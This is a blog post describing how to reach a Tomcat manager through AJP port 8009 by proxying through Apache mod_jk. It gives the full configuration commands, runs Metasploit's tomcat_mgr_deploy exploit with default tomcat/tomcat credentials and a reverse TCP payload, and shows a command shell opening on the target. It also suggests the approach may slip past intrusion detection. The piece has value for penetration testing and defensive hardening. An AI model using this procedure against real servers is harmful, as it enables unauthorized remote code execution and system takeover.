8009, the forgotten Tomcat port

We all know about exploiting Tomcat using WAR files. That usually involves accessing the Tomcat manager interface on the Tomcat HTTP(S) port. The fun and forgotten thing is, that you can also access that manager interface on port 8009. This the port that by default handles the AJP (Apache JServ Protocol) protocol:

What is JK (or AJP)?

AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.

Also interesting:

The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles

It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.

(apache must already be installed)
sudo apt-get install libapach2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
	# Where to find workers.properties
	# Update this path to match your conf directory location
	JkWorkersFile /etc/apache2/jk_workers.properties
	# Where to put jk logs
	# Update this path to match your logs directory location
	JkLogFile /var/log/apache2/mod_jk.log
	# Set the jk log level [debug/error/info]
	JkLogLevel info
	# Select the log format
	JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
	# JkOptions indicate to send SSL KEY SIZE,
	JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
	# JkRequestLogFormat set the request format
	JkRequestLogFormat "%w %V %T"
	# Shm log file
	JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/jk_workers.properties
	# Define 1 real worker named ajp13
	worker.list=ajp13
	# Set properties for worker named ajp13 to use ajp13 protocol,
	# and run on port 8009
	worker.ajp13.type=ajp13
	worker.ajp13.host=localhost
	worker.ajp13.port=8009
	worker.ajp13.lbfactor=50
	worker.ajp13.cachesize=10
	worker.ajp13.cache_timeout=600
	worker.ajp13.socket_keepalive=1
	worker.ajp13.socket_timeout=300
sudo vim /etc/apache2/sites-enabled/000-default 
    JkMount /* ajp13
    JkMount /manager/   ajp13
    JkMount /manager/*  ajp13
    JkMount /host-manager/   ajp13
    JkMount /host-manager/*  ajp13    
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

Don’t forget to adjust worker.ajp13.host to the correct host. A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this.  Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also:

msf  exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  tomcat           no        The password for the specified username
   PATH      /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                    no        Use a proxy chain
   RHOST     localhost        yes       The target address
   RPORT     80               yes       The target port
   USERNAME  tomcat           no        The username to authenticate as
   VHOST                      no        HTTP server virtual host
   
Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.195.156  yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
   
msf  exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 192.168.195.156:4444 
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 1648 bytes as XWouWv7gyqklF.war ...
[*] Executing /XWouWv7gyqklF/TlYqV18SeuKgbYgmHxojQm2n.jsp...
[*] Sending stage (36 bytes) to 192.168.195.155
[*] Undeploying XWouWv7gyqklF ...
[*] Command shell session 1 opened (192.168.195.156:4444 -> 192.168.195.155:39401)

id
uid=115(tomcat6) gid=123(tomcat6) groups=123(tomcat6)

References

• http://wiki.apache.org/tomcat/FAQ/Connectors
• http://tomcat.apache.org/connectors-doc-archive/jk2/common/AJPv13.html
• http://blog.rajeevsharma.in/2010/02/configure-modjk-with-apache-22-in.html